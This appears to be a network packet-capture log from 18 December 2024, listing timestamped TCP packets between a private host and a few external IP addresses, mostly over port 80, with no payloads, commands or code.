Dec 18, 2024 19:08:50.644038916 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.644090891 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.644115925 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.644157887 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.647895098 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.647948027 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.648299932 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.648348093 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.651364088 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.651439905 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.651912928 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.651953936 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.655172110 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.655221939 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.655246973 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.655288935 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.658718109 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.658776045 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.658855915 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.658905029 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.662524939 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.662571907 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.662579060 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.662621021 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.666166067 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.666223049 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.666254044 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.666291952 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.669783115 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.669828892 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.670018911 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.670073986 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.673512936 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.673576117 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.673724890 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.673784971 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.677186012 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.677242994 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.677408934 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.677408934 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.681071997 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.681128025 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.681257963 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.681307077 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.684588909 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.684638023 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.684844017 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.684894085 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.688277006 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.688395977 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.688416004 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.688460112 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.692087889 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.692100048 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.692147970 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.695699930 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.695755005 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.696227074 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.696278095 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.699377060 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.699431896 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.699539900 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.699587107 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.703262091 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.703318119 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.703799009 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.703847885 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.706819057 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.706875086 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.708492994 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.708554029 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.710459948 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.710513115 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.710969925 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.711029053 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.714169979 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.714231014 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.715241909 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.715297937 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.718019962 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.718039036 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.718075037 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.718090057 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.721565008 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.721626043 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.721646070 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.721695900 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.725322962 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.725382090 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.725383997 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.725430965 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.729212046 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.729229927 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.729279995 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.732613087 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.732671022 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.732947111 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.732999086 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.736447096 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.736460924 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.736500978 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.736515045 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.740113020 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.740125895 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.740171909 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.745635986 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.745649099 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.745707989 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.747426987 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.747478962 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.747867107 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.747922897 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.752010107 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.752069950 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.753926039 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.753979921 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.755069971 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.755121946 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.755340099 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.755393982 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.758666992 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.758719921 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.758820057 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.758863926 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.762352943 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.762401104 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.762995005 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.763051987 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.765976906 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.766036034 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.766165018 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.766211987 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.769629955 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.769711018 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.769721985 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.769768000 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.775934935 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.775948048 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.775989056 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.777297974 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.777349949 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.777475119 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.777523994 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.780946016 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.780998945 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.781455994 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.781514883 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.784564018 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.784614086 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.784893990 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.785039902 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.788520098 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.788573027 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.788877964 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.788925886 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.792001009 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.792052031 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.792521954 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.792572975 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.796142101 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.796189070 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.796284914 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.796330929 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.799417973 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.799470901 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.799587011 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.799633980 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.802954912 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.803005934 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.803329945 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.803384066 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.806628942 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.806674957 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.807051897 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.807099104 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.810451031 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.810470104 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.810530901 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.814030886 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.814089060 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.814510107 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.814560890 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.819771051 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.819785118 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.819829941 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.822540998 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.822601080 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.822819948 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.822885036 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.823846102 CET	443	49741	172.67.179.109	192.168.2.5
Dec 18, 2024 19:08:50.823980093 CET	443	49741	172.67.179.109	192.168.2.5
Dec 18, 2024 19:08:50.824115038 CET	49741	443	192.168.2.5	172.67.179.109
Dec 18, 2024 19:08:50.824193954 CET	49741	443	192.168.2.5	172.67.179.109
Dec 18, 2024 19:08:50.824214935 CET	443	49741	172.67.179.109	192.168.2.5
Dec 18, 2024 19:08:50.825563908 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.825630903 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.826035023 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.826088905 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.829200983 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.829255104 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.829325914 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.829402924 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.832839966 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.832897902 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.833386898 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.833442926 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.836564064 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.836602926 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.836622000 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.836649895 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.840200901 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.840259075 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.841393948 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.841444969 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.844010115 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.844060898 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.844120979 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.844166040 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.847584963 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.847635984 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.847721100 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.847768068 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.851476908 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.851527929 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.851655960 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.851706982 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.855045080 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.855108023 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.855237007 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.855299950 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.858685017 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.858732939 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.858839989 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.858890057 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.858922958 CET	443	49738	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:50.859026909 CET	443	49738	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:50.859074116 CET	49738	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:50.859378099 CET	49738	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:50.859397888 CET	443	49738	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:50.862971067 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.862987995 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.863023043 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.863037109 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.864554882 CET	49742	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:50.864592075 CET	443	49742	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:50.864666939 CET	49742	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:50.865014076 CET	49742	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:50.865031004 CET	443	49742	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:50.866143942 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.866199017 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.866492987 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.866538048 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.869879961 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.869931936 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.870066881 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.870115042 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.873521090 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.873573065 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.873673916 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.873716116 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.877166986 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.877259970 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.877347946 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.877388000 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.881134033 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.881185055 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.881320953 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.881373882 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.884789944 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.884828091 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.884843111 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.884871960 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.888037920 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.888097048 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.888107061 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.888154984 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.891671896 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.891738892 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.891928911 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.891978025 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.895378113 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.895441055 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.895617008 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.895668983 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.899043083 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.899094105 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.899126053 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.899178028 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.902708054 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.902762890 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.903352022 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.903417110 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.906419992 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.906487942 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.907011032 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.907067060 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.910151005 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.910209894 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.910923004 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.910985947 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.913908958 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.913944960 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.913963079 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.913986921 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.917591095 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.917648077 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.917773962 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.917828083 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.921320915 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.921370983 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.921814919 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.921865940 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.924916983 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.924973965 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.925167084 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.925226927 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.928878069 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.928914070 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.928935051 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.928956032 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.932332993 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.932390928 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.932440996 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.932492018 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.936091900 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.936141968 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.936191082 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.936275959 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.939743042 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.939791918 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.939959049 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.940010071 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.943523884 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.943583012 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.943756104 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.943804026 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.947135925 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.947194099 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.947256088 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.947302103 CET	49739	80	192.168.2.5	31.41.244.11
